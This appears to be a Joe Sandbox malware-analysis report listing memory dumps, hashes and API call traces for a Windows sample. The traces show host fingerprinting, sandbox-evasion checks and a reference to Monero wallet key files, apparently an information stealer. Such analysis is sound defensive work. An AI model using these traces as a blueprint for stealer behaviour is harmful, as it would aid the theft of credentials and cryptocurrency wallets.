Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 409237d5e7ff0f220c220fa8ddf3113445b00c3757472e0e295882b58b00ff98
Instruction ID: e945f6c427756eec14316e28ed134df207095ba78105fc35b9059354c058c42f
Opcode Fuzzy Hash: 409237d5e7ff0f220c220fa8ddf3113445b00c3757472e0e295882b58b00ff98
Instruction Fuzzy Hash: C481A875A102099FCB18EF64C995EFDBBB5FFD4300F408119E9099F255DB34AA06CB82

Function 005F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 77c44ac890269bfc04f07a561f521cd3a41925f5cf675eb4a54b491afbe90bcf
Instruction ID: 5206a68af0426deb1e581ace0478f078ec88d71068519d5e8dcf9f33a7fe29ad
Opcode Fuzzy Hash: 77c44ac890269bfc04f07a561f521cd3a41925f5cf675eb4a54b491afbe90bcf
Instruction Fuzzy Hash: 3F0186B1A4420DEBC714DF94DD45BAABFB8FB04B11F104629FA45E3280C77959008BA1

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 005F9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 005F9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005F94A5
CloseHandle.KERNEL32(00000000), ref: 005F94AF

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 4ec334df23ce42e2a54f02a36ee47c37251e116d998adc900ac2073955f89584
Instruction ID: 8d6426af7a9135315192739630f4f0d8416e48e673dcfdd976ec7e554d258aee
Opcode Fuzzy Hash: 4ec334df23ce42e2a54f02a36ee47c37251e116d998adc900ac2073955f89584
Instruction Fuzzy Hash: BFF0307490020CEBDB18DFA4DC4AFE97778FB08700F008454BA1957290D6B56A85CB91

Function 005E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 005E1132
ExitProcess.KERNEL32 ref: 005E1143

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d0e10257454c9029c33c7db6d7671a6efa15a4bcae5ad78692cf36b528475271
Instruction ID: 9ec55e9e82c877b183cc7c5f478f68f7b2e68d4dc98c818d761c800400e19896
Opcode Fuzzy Hash: d0e10257454c9029c33c7db6d7671a6efa15a4bcae5ad78692cf36b528475271
Instruction Fuzzy Hash: 33E0E67094534CFFE7286BA19C0EB0D7A78BF04B01F104054F709B65D0D6B52641969D

Function 005F1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005F7542
Part of subcall function 005F7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005F757F
Part of subcall function 005F7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7603
Part of subcall function 005F7500: RtlAllocateHeap.NTDLL(00000000), ref: 005F760A

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005F7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F76A4
Part of subcall function 005F7690: RtlAllocateHeap.NTDLL(00000000), ref: 005F76AB

Part of subcall function 005F77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,005FDBC0,000000FF,?,005F1C99,00000000,?,0140FF00,00000000,?), ref: 005F77F2
Part of subcall function 005F77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,005FDBC0,000000FF,?,005F1C99,00000000,?,0140FF00,00000000,?), ref: 005F77F9

Part of subcall function 005F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
Part of subcall function 005F7850: RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
Part of subcall function 005F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

Part of subcall function 005F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
Part of subcall function 005F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
Part of subcall function 005F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Part of subcall function 005F7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E00,00000000,?), ref: 005F79B0
Part of subcall function 005F7980: RtlAllocateHeap.NTDLL(00000000), ref: 005F79B7
Part of subcall function 005F7980: GetLocalTime.KERNEL32(?,?,?,?,?,00600E00,00000000,?), ref: 005F79C4
Part of subcall function 005F7980: wsprintfA.USER32 ref: 005F79F3

Part of subcall function 005F7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014106F8,00000000,?,00600E10,00000000,?,00000000,00000000), ref: 005F7A63
Part of subcall function 005F7A30: RtlAllocateHeap.NTDLL(00000000), ref: 005F7A6A
Part of subcall function 005F7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014106F8,00000000,?,00600E10,00000000,?,00000000,00000000,?), ref: 005F7A7D

Part of subcall function 005F7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,014106F8,00000000,?,00600E10,00000000,?,00000000,00000000), ref: 005F7B35

Part of subcall function 005F7B90: GetKeyboardLayoutList.USER32(00000000,00000000,006005AF), ref: 005F7BE1
Part of subcall function 005F7B90: LocalAlloc.KERNEL32(00000040,?), ref: 005F7BF9
Part of subcall function 005F7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 005F7C0D
Part of subcall function 005F7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005F7C62
Part of subcall function 005F7B90: LocalFree.KERNEL32(00000000), ref: 005F7D22

Part of subcall function 005F7D80: GetSystemPowerStatus.KERNEL32(?), ref: 005F7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0140FD60,00000000,?,00600E24,00000000,?,00000000,00000000,?,01410758,00000000,?,00600E20,00000000), ref: 005F207E

Part of subcall function 005F9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 005F9484
Part of subcall function 005F9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005F94A5
Part of subcall function 005F9470: CloseHandle.KERNEL32(00000000), ref: 005F94AF

Part of subcall function 005F7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7E37
Part of subcall function 005F7E00: RtlAllocateHeap.NTDLL(00000000), ref: 005F7E3E
Part of subcall function 005F7E00: RegOpenKeyExA.KERNEL32(80000002,013FBC50,00000000,00020119,?), ref: 005F7E5E
Part of subcall function 005F7E00: RegQueryValueExA.KERNEL32(?,0140FDA0,00000000,00000000,000000FF,000000FF), ref: 005F7E7F
Part of subcall function 005F7E00: RegCloseKey.ADVAPI32(?), ref: 005F7E92

Part of subcall function 005F7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 005F7FC9
Part of subcall function 005F7F60: GetLastError.KERNEL32 ref: 005F7FD8

Part of subcall function 005F7ED0: GetSystemInfo.KERNEL32(00600E2C), ref: 005F7F00
Part of subcall function 005F7ED0: wsprintfA.USER32 ref: 005F7F16

Part of subcall function 005F8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01410608,00000000,?,00600E2C,00000000,?,00000000), ref: 005F8130
Part of subcall function 005F8100: RtlAllocateHeap.NTDLL(00000000), ref: 005F8137
Part of subcall function 005F8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005F8158
Part of subcall function 005F8100: __aulldiv.LIBCMT ref: 005F8172
Part of subcall function 005F8100: __aulldiv.LIBCMT ref: 005F8180
Part of subcall function 005F8100: wsprintfA.USER32 ref: 005F81AC

Part of subcall function 005F87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E28,00000000,?), ref: 005F882F
Part of subcall function 005F87C0: RtlAllocateHeap.NTDLL(00000000), ref: 005F8836
Part of subcall function 005F87C0: wsprintfA.USER32 ref: 005F8850

Part of subcall function 005F8320: RegOpenKeyExA.KERNEL32(00000000,0140C798,00000000,00020019,00000000,006005B6), ref: 005F83A4

Part of subcall function 005F8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005F8426
Part of subcall function 005F8320: wsprintfA.USER32 ref: 005F8459
Part of subcall function 005F8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005F847B
Part of subcall function 005F8320: RegCloseKey.ADVAPI32(00000000), ref: 005F848C
Part of subcall function 005F8320: RegCloseKey.ADVAPI32(00000000), ref: 005F8499

Part of subcall function 005F8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006005B7), ref: 005F86CA
Part of subcall function 005F8680: Process32First.KERNEL32(?,00000128), ref: 005F86DE
Part of subcall function 005F8680: Process32Next.KERNEL32(?,00000128), ref: 005F86F3
Part of subcall function 005F8680: CloseHandle.KERNEL32(?), ref: 005F8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 005F265B

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: c6680975f2ddd01b519b61fbfb62c33102ec06e9b42e2f1e482b98d798d8e985
Instruction ID: 6878831bb5b885cddbba51e2ee6e70ae72e277ea81d4b1c4562c6a7f4ba635cf
Opcode Fuzzy Hash: c6680975f2ddd01b519b61fbfb62c33102ec06e9b42e2f1e482b98d798d8e985
Instruction Fuzzy Hash: 2B72A3B2C1001EAADB19F750DD95DFE773CBF94340F5082A9B21A62095EF742B49CA63

Function 005E6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
